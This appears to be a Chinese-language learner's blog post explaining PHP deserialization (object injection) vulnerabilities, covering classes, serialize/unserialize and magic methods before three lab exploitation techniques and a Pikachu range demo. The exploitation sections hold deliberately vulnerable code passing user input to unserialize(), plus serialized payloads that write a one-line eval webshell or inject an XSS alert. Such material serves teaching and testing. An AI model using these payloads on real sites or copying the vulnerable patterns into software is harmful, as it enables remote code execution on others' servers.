PHP反序列化漏洞

前言

最近又学习了新的漏洞知识——PHP反序列化漏洞,学习之余总结一下。

什么是php反序列化漏洞

漏洞简介
php反序列化漏洞,又叫php对象注入漏洞。
简单来讲,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。

漏洞形成原因
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

但还是先了解一下php类与对象、php序列化和反序列化和魔术方法的相关知识。

php类与对象

类的声明

[修饰类的关键字] class 类名 {
    成员属性
    成员方法
}

(1)成员属性,在类中声明的变量,称为成员属性。声明时,变量前面必须使用一个关键字,如使用public、private、static等关键字修饰,如不需要有特殊意义的修饰,则可使用var关键字
(2)成员方法,在类中声明的函数,称为成员方法。

通过类实例化对象
类创建后,可以使用 new 运算符来实例化该类的对象。

$变量名 = new 类名称;

对象引用$this
成员方法属于哪个对象,$this引用就代表哪个对象。
例:

<?php
class Person {
    public $name;
    function say(){
        echo '我的名字是'.$this->name;
    }
}
$xm = new Person;    //实例化对象
$xm->name = '小明';  //对象属性的赋值
$xm->say();        //访问对象的成员方法
?>

构造方法
构造方法的作用是为成员属性初始化;
构造方法是在对象创建完后,第一个自动调用的方法;
构造方法,方法名固定,在PHP4中构造方法名与类名一致;PHP5中是 __construct()
析构方法
当对象被释放之前最后一个自动调用的方法。
作用:关闭一些资源,做一个清理工作。
名称:__destruct()
例:

<?php
class Person {
    public $name;
    function __construct($name=''){
        echo "构造函数被调用"."<br>";
        $this->name = $name;
    }
    function say(){
        echo $this->name;
    }
    function __destruct(){
        echo "<br>"."析构函数被调用";
    }
}
$car = new Person(); //当创建一个对象的时候,类中的构造函数就会被调用
$car->name = '小明 ';  //对象属性的赋值
$car->say();        //访问对象的成员方法
unset($car); //unset可以销毁对象,当销毁对象的时候就会调用类中的析构函数
?>

在这里插入图片描述

php序列化与反序列化

序列化:
serialize 把一个对象转成字符串形式, 可以用于保存。
函数 : serialize()
把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等。
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
测试代码:

<?php
class chybeta{
    var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

将其序列化后的结果:
在这里插入图片描述

  • O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a
  • 7表示对象的名称有7个字符
  • "chybeta"表示对象的名称
  • 1表示有一个值
  • {s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,”test”为字符串的名称,之后的类似

php允许保存一个对象方便以后重用,这个过程被称为序列化。
反序列化:
unserialize 把serialize序列化后的字符串变成一个对象。
函数: unserialize()
可以从已存储的表示中创建PHP的值。恢复原先被序列化的变量。
测试代码:

<?php
class chybeta{
    var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>反序列化结果为:</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
?>

将其反序列化后的结果:
在这里插入图片描述

魔术方法

magic 函数
php面向对象变成中,有一类函数叫做magic function,魔术函数。这些函数是以(双下划线)开头的,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,这里有一些比较常见的例如construct,destory,sleep,wakeup,__toString函数。

  • __construct():创建一个对象时会被调用。
  • __destruct():销毁一个对象时会被调用。
  • __wakeup():触发unserialize()方法时会被调用。
  • __sleep():触发serialize()方法时会被调用。
  • __toString():类对象被当作一个字符串使用时会被调用。
  • __get():调出不可访问(private,protect等修饰)属性时会被调用。
  • __set():修改或写入不可访问(private,protect等修饰)属性时会被调用。
  • __isset():对不可访问(private,protect等修饰)属性使用empty()或isset()方法时会被调用。
  • __unset():对不可访问(private,protect等修饰)属性使用unset()方法时会被调用。
  • __invoke():将实例化对象当作方法使用时会被调用。

php反序列化漏洞

1、wakeup()或destruct()的利用

基本思路
本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “”,再调用unserialize()时会通过wakeup()把test的写入到webshell.php中。
利用
unserialize()后会导致
wakeup() 或__destruct()的直接调用,中间无需其他过程。
所以在本地搭建环境,index1源码为:

<?php
class chybeta{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("webshell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "webshell.php";
// 为显示效果,把这个shell.php包含进来
?>

编写exp之后用serialize函数进行序列化

<?php
class chybeta{
    var $test = '<?php @eval($_POST[a]);?>';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

得到payload

O:7:"chybeta":1:{s:4:"test";s:25:"<?php @eval($_POST[a]);?>";}

测试一下,测试成功
在这里插入图片描述
并且将一句话木马写入到了webshelll.php文件
在这里插入图片描述

2、其他Magic函数的利用

基本思路
向test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的construct()方法,从而把写入到 webshell.php中。
利用
有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象。
在本地搭建环境(删除之前webshell.php里的内容),index2源码为:

<?php
class ph0en1x{
    function __construct($test){
        $fp = fopen("webshell.php","w");
        fwrite($fp,$test);
        fclose($fp);
    }
}
class chybeta{
    var $test = '123';
    function __wakeup(){
        $obj = new ph0en1x($this->test);
    }
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "webshell.php";
?>

编写exp之后,用serialize函数进行序列化,得到payload

O:7:"chybeta":1:{s:4:"test";s:25:"<?php @eval($_POST[a]);?>";}

在这里插入图片描述
并将一句话木马写入到了webshelll.php文件

3、普通成员的利用

基本思路
new一个新的chybeta对象后,调用construct(),其中又new了ph0en1x对象。在结束后会调用destruct(),其中会调用action(),从而输出 ph0en1x。
利用
前面的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能通过“自动调用”来达到目的。这时,要寻找相同的函数名,把敏感函数和类联系在一起。

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test = new ph0en1x();
    }
    function __destruct() {
        $this->test->action();
    }
}
class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
}
class ph0en2x {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

构造序列化

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test = new ph0en2x();
    }
}
class ph0en2x {
    var $test2 = '@eval($_POST[a]);';
}
echo serialize(new chybeta());
?>

得到payload:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:17:"@eval($_POST[a]);";}}

传给index.php的test参数
在这里插入图片描述
蚁剑测试一下,测试成功
在这里插入图片描述
参考博客:
浅谈php反序列化漏洞
PHP反序列化漏洞与防御

php反序列化漏洞靶场实战

靶场环境

皮卡丘:https://github.com/zhuifengshaonianhanlu/pikachu

开始实验

在这里插入图片描述
先输入个1,抓包查看
在这里插入图片描述
发现传参方式为post型,且参数变量为o
其他没有有用信息。emmm。。查看源码吧!
在这里插入图片描述
发现有用信息了。先编写exp之后,然后用serialize函数进行序列化。因为是post传参,所以就不演示一句话了,并且根据源码phpinfo();也不行。直接xss弹框试一下

<?php
class S{
    var $test = '<script>alert('xss')</script>';
}
$class1 = new S;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

得到payload

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

成功
在这里插入图片描述

感悟

了解了php类与对象、反序列化和序列化和反序列化漏洞的成因。同时也学会了php反序列化漏洞的三种利用方式。
继续学习,小白进阶ing。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏